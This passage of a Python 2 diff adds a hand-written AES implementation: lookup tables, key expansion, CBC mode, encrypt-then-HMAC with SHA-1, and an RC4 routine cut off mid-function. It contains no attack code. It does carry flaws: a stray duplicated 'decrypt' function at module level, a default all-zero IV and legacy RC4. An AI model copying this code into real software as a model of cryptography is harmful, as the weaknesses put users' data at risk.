0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] + + # Transformations for decryption key expansion + U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] + U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] + U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] + U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] + + def __init__(self, key): + + if len(key) not in (16, 24, 32): + raise ValueError('Invalid key size') + + rounds = self.number_of_rounds[len(key)] + + # Encryption round keys + self._Ke = [[0] * 4 for i in xrange(rounds + 1)] + + # Decryption round keys + self._Kd = [[0] * 4 for i in xrange(rounds + 1)] + + round_key_count = (rounds + 1) * 4 + KC = len(key) // 4 + + # Convert the key into ints + tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] + + # Copy values into round key arrays + for i in xrange(0, KC): + self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + +def decrypt(self, ciphertext): + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_cipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + +def CBCenc(aesObj, plaintext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] + blocks[-1] = append_PKCS7_padding(blocks[-1]) + + ciphertext = "" + for block in blocks: + ciphertext += aesObj.encrypt(block) + + return ciphertext + + +def CBCdec(aesObj, ciphertext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] + + plaintext = "" + + for x in xrange(0, len(blocks)-1): + plaintext += aesObj.decrypt(blocks[x]) + + lastBlock = aesObj.decrypt(blocks[-1]) + plaintext += strip_PKCS7_padding(lastBlock) + # plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + + return plaintext + + +def aes_encrypt(key, data): + """ + Generate a random IV and new AES cipher object with the given + key, and return IV + encryptedData. + """ + IV = Random.new().read(16) + aes = AESModeOfOperationCBC(key, iv=IV) + return IV + CBCenc(aes, data) + + +def aes_encrypt_then_hmac(key, data): + """ + Encrypt the data then calculate HMAC over the ciphertext. + """ + data = aes_encrypt(key, data) + mac = hmac.new(str(key), data, hashlib.sha1).digest() + return data + mac + + +def aes_decrypt(key, data): + """ + Generate an AES cipher object, pull out the IV from the data + and return the unencrypted data. + """ + IV = data[0:16] + aes = AESModeOfOperationCBC(key, iv=IV) + return CBCdec(aes, data[16:]) + + +def verify_hmac(key, data): + """ + Verify the HMAC supplied in the data with the given key. + """ + if len(data) > 20: + mac = data[-20:] + data = data[:-20] + expected = hmac.new(str(key), data, hashlib.sha1).digest() + # Double HMAC to prevent timing attacks. hmac.compare_digest() is + # preferable, but only available since Python 2.7.7. + return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() + + return False + + +def aes_decrypt_and_verify(key, data): + """ + Decrypt the data, but only if it has a valid MAC. + """ + if len(data) > 32 and verify_hmac(key, data): + return aes_decrypt(key, data[:-20]) + + raise Exception("Invalid ciphertext received.") + + +def rc4(key, data): + """ + RC4 encrypt/decrypt the given data input with the specified key. + + From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python + """ + + S, j, out = range(256), 0, [] + + #KSA Phase + for i in range(256): + j = (j + S[i] + ord( key[i % len(key)] )) % 256 + S[i] , S[j] = S[j] , S[i] + + #PRGA Phase + i = j = 0 + for char in data: + i = ( i + 1 ) % 256 + j = ( j + S[i] ) % 256 + S[i] , S[j] = S[j] , S[i] + 